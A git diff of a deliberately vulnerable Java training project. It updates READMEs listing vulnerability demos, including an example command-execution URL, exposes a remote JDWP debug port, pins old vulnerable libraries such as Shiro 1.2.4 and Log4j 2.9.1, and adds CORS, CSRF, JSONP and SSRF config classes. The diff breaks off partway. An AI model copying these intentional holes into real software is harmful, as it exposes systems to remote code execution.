diff --git a/README.md b/README.md index 99e0c939..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,12 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 + +## Recruitment + +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + ## Introduce @@ -11,7 +16,7 @@ This project can also be called Java vulnerability code. Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. -[Online demo](http://118.25.15.216:8080) +Due to the server expiration, the online demo site had to go offline. Login username & password: @@ -30,23 +35,37 @@ Sort by letter. - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) +- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) - [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) - [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## Vulnerability Description @@ -58,11 +77,13 @@ Sort by letter. - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) ## How to run @@ -131,7 +152,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` return: @@ -185,16 +206,10 @@ Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-op ## Contributors -Core developers : [JoyChou](https://github.com/JoyChou93). -Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95). - - -## Donate - -If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. +Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981) +Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -### Alipay -Scan the QRcode to support `Java sec code`. +## Support - +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md index 86d260bd..b5c658c3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,11 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 + +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) ## 介绍 @@ -10,7 +14,7 @@ 每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 -[在线Demo](http://118.25.15.216:8080) +由于服务器到期,在线的Demo网站已不能使用。 登录用户名密码: @@ -26,24 +30,35 @@ joychou/joychou123 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) - [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) - [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) - +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## 漏洞说明 @@ -54,11 +69,13 @@ joychou/joychou123 - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) @@ -126,7 +143,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` 返回: @@ -182,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 捐赠 - -如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - -### Alipay +## 支持 -扫描支付宝二维码支持`Java sec code`。 +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - diff --git a/docker-compose.yml b/docker-compose.yml index cb3f8efa..7e9c878e 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,9 +1,11 @@ -version : '2' +version : '3' services: jsc: image: joychou/jsc:latest + command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] ports: - "8080:8080" + - "8000:8000" links: - j_mysql diff --git a/java-sec-code.iml b/java-sec-code.iml index 1f7ef7b5..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,185 +1,14 @@ - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index 5f39a0bc..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -62,7 +62,7 @@ org.dom4j dom4j - 2.1.1 + 2.1.0 @@ -70,7 +70,7 @@ com.google.guava guava - 21.0 + 23.0 @@ -87,7 +87,7 @@ org.apache.httpcomponents httpclient - 4.3.6 + 4.5.12 @@ -100,7 +100,13 @@ org.apache.logging.log4j log4j-core - 2.8.2 + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 @@ -129,6 +135,7 @@ spring-boot-starter-actuator + org.springframework.cloud spring-cloud-starter-netflix-eureka-client @@ -189,13 +196,213 @@ 1.7 - + com.thoughtworks.xstream xstream - 1.4.10 + + 1.4.20 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.9 + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + + + org.jsoup + jsoup + 1.10.2 + + + + + commons-io + commons-io + 2.5 + + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + + + + org.projectlombok + lombok + 1.18.20 + provided + + + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + + commons-beanutils + commons-beanutils + 1.9.4 + + + + + io.jsonwebtoken + jjwt + 0.9.1 + + + + + com.auth0 + java-jwt + 4.0.0 + + + + cn.hutool + hutool-all + 5.8.10 + + + + org.javassist + javassist + 3.27.0-GA + + + + org.springframework.data + spring-data-commons + 1.13.11.RELEASE + + + + com.jayway.jsonpath + json-path + + org.xmlbeam + xmlprojector + 1.4.13 + + + + + org.postgresql + postgresql + 42.3.1 + + + + + com.ibm.db2 + jcc + 11.5.8.0 + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 41169b9a..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -5,7 +5,6 @@ import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @ServletComponentScan // do filter diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java new file mode 100644 index 00000000..041f4f80 --- /dev/null +++ b/src/main/java/org/joychou/config/Constants.java @@ -0,0 +1,10 @@ +package org.joychou.config; + +public class Constants { + + private Constants() { + } + + public static final String REMEMBER_ME_COOKIE = "rememberMe"; + public static final String ERROR_PAGE = "https://test.joychou.org/error1.html"; +} diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java new file mode 100644 index 00000000..6c1a8ef8 --- /dev/null +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -0,0 +1,29 @@ +//package org.joychou.config; +// +//import org.springframework.boot.web.servlet.FilterRegistrationBean; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.web.cors.CorsConfiguration; +//import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +//import org.springframework.web.filter.CorsFilter; +// +//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework +//@Configuration +//public class CorsConfig2 { +// +// @Bean +// public FilterRegistrationBean corsFilter() { +// UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); +// CorsConfiguration config = new CorsConfiguration(); +// config.setAllowCredentials(true); +// config.addAllowedOrigin("http://test.joychou.org"); +// config.addAllowedOrigin("https://test.joychou.org"); +// config.addAllowedHeader("*"); +// config.addAllowedMethod("GET"); +// config.addAllowedMethod("POST"); +// source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config); +// FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source)); +// bean.setOrder(0); +// return bean; +// } +//} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CsrfTokenBean.java b/src/main/java/org/joychou/config/CsrfTokenBean.java new file mode 100644 index 00000000..b0698e12 --- /dev/null +++ b/src/main/java/org/joychou/config/CsrfTokenBean.java @@ -0,0 +1,18 @@ +package org.joychou.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; + +/** + * Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html + */ + +@Configuration +public class CsrfTokenBean { + + @Bean + public CookieCsrfTokenRepository cookieCsrfTokenRepository() { + return CookieCsrfTokenRepository.withHttpOnlyFalse(); + } +} diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java new file mode 100644 index 00000000..47d3acea --- /dev/null +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -0,0 +1,49 @@ +package org.joychou.config; + +import org.joychou.security.CustomCorsProcessor; +import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +@Configuration +public class CustomCorsConfig extends WebMvcRegistrationsAdapter { + + /** + * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + */ + @Bean + public WebMvcConfigurer corsConfigurer() { + return new WebMvcConfigurerAdapter() { + @Override + public void addCorsMappings(CorsRegistry registry) { + // 为了支持一级域名,重写了checkOrigin + //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; + registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path + //.allowedOrigins(allowOrigins) + .allowedMethods("GET", "POST") + .allowCredentials(true); + } + }; + } + + + @Override + public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { + return new CustomRequestMappingHandlerMapping(); + } + + + /** + * 自定义Cors处理器,重写了checkOrigin + * 自定义校验origin,支持一级域名校验 && 多级域名 + */ + private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping { + private CustomRequestMappingHandlerMapping() { + setCorsProcessor(new CustomCorsProcessor()); + } + } +} diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java new file mode 100644 index 00000000..64477bd4 --- /dev/null +++ b/src/main/java/org/joychou/config/HttpServiceConfig.java @@ -0,0 +1,38 @@ +package org.joychou.config; + +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.client.SimpleClientHttpRequestFactory; +import org.springframework.web.client.RestTemplate; + +import java.io.IOException; +import java.net.HttpURLConnection; + + +class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { + + + @Override + protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException { + super.prepareConnection(connection, httpMethod); + // Use custom ClientHttpRequestFactory to set followRedirects false. + connection.setInstanceFollowRedirects(false); + } +} + +@Configuration +public class HttpServiceConfig { + + @Bean + public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) { + return builder.requestFactory(CustomClientHttpRequestFactory.class).build(); + } + + + @Bean + public RestTemplate restTemplate(RestTemplateBuilder builder) { + return builder.build(); + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java new file mode 100644 index 00000000..64d68205 --- /dev/null +++ b/src/main/java/org/joychou/config/Object2Jsonp.java @@ -0,0 +1,100 @@ +package org.joychou.config; + +import org.apache.commons.lang.StringUtils; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.http.server.ServletServerHttpRequest; +import org.springframework.http.server.ServletServerHttpResponse; +import org.springframework.web.bind.annotation.ControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + + +/** + * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. + * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 + */ +@ControllerAdvice +public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { + + private final String[] callbacks; + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + + // method of using @Value in constructor + public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { + super(callbacks); // Can set multiple paramNames + this.callbacks = callbacks; + } + + + // Check referer + @Override + protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, + MethodParameter returnType, ServerHttpRequest req, + ServerHttpResponse res) { + + HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); + HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); + + String realJsonpFunc = getRealJsonpFunc(request); + // 如果url带callback,且校验不安全后 + if ( StringUtils.isNotBlank(realJsonpFunc) ) { + jsonpReferHandler(request, response); + } + super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); + } + + /** + * @return 获取实际jsonp的callback + */ + private String getRealJsonpFunc(HttpServletRequest req) { + + String reqCallback = null; + for (String callback: this.callbacks) { + reqCallback = req.getParameter(callback); + if(StringUtils.isNotBlank(reqCallback)) { + break; + } + } + return reqCallback; + } + + // 校验Jsonp的Referer + private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { + + String refer = request.getHeader("referer"); + String url = request.getRequestURL().toString(); + String query = request.getQueryString(); + + // 如果jsonp校验的开关为false,不校验 + if ( !WebConfig.getJsonpReferCheckEnabled() ) { + return; + } + + // 校验jsonp逻辑,如果不安全,返回forbidden + if (SecurityUtil.checkURL(refer) == null ){ + logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); + try{ + // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 +// response.setStatus(HttpServletResponse.SC_FORBIDDEN); +// response.getWriter().write(" Referer check error."); +// response.flushBuffer(); + response.sendRedirect(Constants.ERROR_PAGE); + } catch (Exception e){ + logger.error(e.toString()); + } + + } + } +} diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java new file mode 100644 index 00000000..de2d0bd7 --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainConfig.java @@ -0,0 +1,29 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +/** + * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。 + */ +@Configuration +public class SafeDomainConfig { + + private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); + + @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 + public SafeDomainParser safeDomainParser() { + try { + LOGGER.info("SafeDomainParser bean inject successfully!!!"); + return new SafeDomainParser(); + } catch (Exception e) { + LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); + } + return null; + } + +} + diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java new file mode 100644 index 00000000..b92ff9eb --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -0,0 +1,140 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.ClassPathResource; +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import java.io.File; +import java.util.ArrayList; + +public class SafeDomainParser { + + private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class); + + public SafeDomainParser() { + + String rootTag = "domains"; + String safeDomainTag = "safedomains"; + String blockDomainTag = "blockdomains"; + String finalTag = "domain"; + String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml"; + ArrayList safeDomains = new ArrayList<>(); + ArrayList blockDomains = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(safeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(safeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node finalTagNode = tagChild.item(j); + // 解析safeDomains节点里的domain节点 + if (finalTagNode.getNodeName().equals(finalTag)) { + safeDomains.add(finalTagNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(blockDomainTag)) { + NodeList finalTagNode = node.getChildNodes(); + for (int j = 0; j < finalTagNode.getLength(); j++) { + Node tagNode = finalTagNode.item(j); + // 解析blockDomains节点里的domain节点 + if (tagNode.getNodeName().equals(finalTag)) { + blockDomains.add(tagNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + WebConfig wc = new WebConfig(); + wc.setSafeDomains(safeDomains); + logger.info(safeDomains.toString()); + wc.setBlockDomains(blockDomains); + + // 解析SSRF配置 + String ssrfRootTag = "ssrfsafeconfig"; + String ssrfSafeDomainTag = "safedomains"; + String ssrfBlockDomainTag = "blockdomains"; + String ssrfBlockIpsTag = "blockips"; + String ssrfFinalTag = "domain"; + String ssrfIpFinalTag = "ip"; + String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml"; + + ArrayList ssrfSafeDomains = new ArrayList<>(); + ArrayList ssrfBlockDomains = new ArrayList<>(); + ArrayList ssrfBlockIps = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + // 修复打包成jar包运行,不能读取文件的bug + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点 + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(ssrfSafeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfSafeDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfBlockDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockIpsTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + // 解析 blockIps 节点里的 ip 节点 + if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) { + ssrfBlockIps.add(tagFinalNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + logger.info(ssrfBlockIps.toString()); + wc.setSsrfBlockDomains(ssrfBlockDomains); + wc.setSsrfBlockIps(ssrfBlockIps); + wc.setSsrfSafeDomains(ssrfSafeDomains); + } +} + + + + diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java new file mode 100644 index 00000000..c2a73973 --- /dev/null +++ 